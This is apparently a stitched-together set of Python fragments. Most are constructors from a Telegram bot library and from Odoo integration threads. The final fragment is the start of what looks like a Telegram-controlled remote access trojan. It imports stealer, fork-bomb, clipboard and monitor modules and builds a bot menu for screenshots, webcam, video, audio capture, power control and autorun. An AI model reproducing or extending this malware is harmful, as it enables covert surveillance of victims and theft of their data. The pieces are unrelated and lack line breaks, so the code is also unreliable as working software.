def __init__(self, token, threaded=True, skip_pending=False): """ :param token: bot API token :return: Telebot object. """ self.token = token self.update_listener = [] self.skip_pending = skip_pending self.__stop_polling = threading.Event() self.last_update_id = 0 self.exc_info = None self.message_subscribers_messages = [] self.message_subscribers_callbacks = [] self.message_subscribers_lock = threading.Lock() # key: chat_id, value: handler list self.message_subscribers_next_step = {} self.pre_message_subscribers_next_step = {} self.message_handlers = [] self.edited_message_handlers = [] self.inline_handlers = [] self.chosen_inline_handlers = [] self.callback_query_handlers = [] self.threaded = threaded if self.threaded: self.worker_pool = util.ThreadPool()
def __init__(self, interval, dispatch, threads_bundles_list): threading.Thread.__init__(self, name='OdooTelegramThread') self.daemon = True self.interval = interval self.dispatch = dispatch self.threads_bundles_list = threads_bundles_list self.last = 0 self.odoo_threads = self.get_num_of_children() self.odoo_thread_pool = util.ThreadPool(self.odoo_threads)
def __init__(self, token, threaded=True, skip_pending=False, num_threads=2): super(TeleBotMod, self).__init__(token, threaded=False, skip_pending=skip_pending) self.worker_pool = util.ThreadPool(num_threads) self.cache = CommandCache() _logger.info("TeleBot started with %s threads" % num_threads)
def __init__(self, dispatch, dbname, bot): threading.Thread.__init__(self, name='OdooTelegramThread') self.daemon = True self.token = False self.dispatch = dispatch self.bot = bot self.bot_thread = False self.last = 0 self.dbname = dbname self.num_odoo_threads = teletools.get_int_parameter(dbname, 'telegram.num_odoo_threads') self.odoo_thread_pool = util.ThreadPool(self.num_odoo_threads)
def __init__(self, token, threaded=True, skip_pending=False, botan_token=None, auto_tracking=False): """ :param token: bot API token :return: Telebot object. """ self.token = token self.update_listener = [] self.skip_pending = skip_pending self.botan_token = botan_token self.__stop_polling = threading.Event() self.last_update_id = 0 self.exc_info = None self.message_subscribers_messages = [] self.message_subscribers_callbacks = [] self.message_subscribers_lock = threading.Lock() # key: chat_id, value: handler list self.message_subscribers_next_step = {} self.pre_message_subscribers_next_step = {} self.message_handlers = [] self.inline_handlers = [] self.chosen_inline_handlers = [] self.threaded = threaded if self.threaded: self.worker_pool = util.ThreadPool() if botan_token is not None and auto_tracking: def botan_listener(updates): for message in updates: d = {} for x, y in six.iteritems(message.__dict__): if hasattr(y, '__dict__'): d[x] = vars(y) elif y is not None: d[x] = y user_id = d.get('from_user', d['chat'])['id'] self.track_event('MESSAGE_RECEIVED', user_id, d) self.set_update_listener(botan_listener)
from Core.Fun.ForkBomb import * from Core.Stealer.Stealer import * from Core.Stealer.Telegram import * from Core.Misc.Clipboard import * from Core.Misc.Monitor import * from Core.Misc.Rotate import * from Core.Misc.Freeze import * from telebot import types from telebot import util from telebot import apihelper bot = telebot.TeleBot(TelegramToken, threaded=True) bot.worker_pool = util.ThreadPool(num_threads=50) menu = types.ReplyKeyboardMarkup() button1 = types.KeyboardButton('/1\n<<') button2 = types.KeyboardButton('/2\n>>') button3 = types.KeyboardButton('/Screen\n🖼') button4 = types.KeyboardButton('/Webcam\n📸') button5 = types.KeyboardButton('/Video\n🎥') button6 = types.KeyboardButton('/Audio\n🎙') button7 = types.KeyboardButton('/Power\n🔴') button8 = types.KeyboardButton('/Autorun\n🔵') menu.row(button1, button3, button2) menu.row(button4, button5, button6) menu.row(button7, button8) main2 = types.InlineKeyboardMarkup()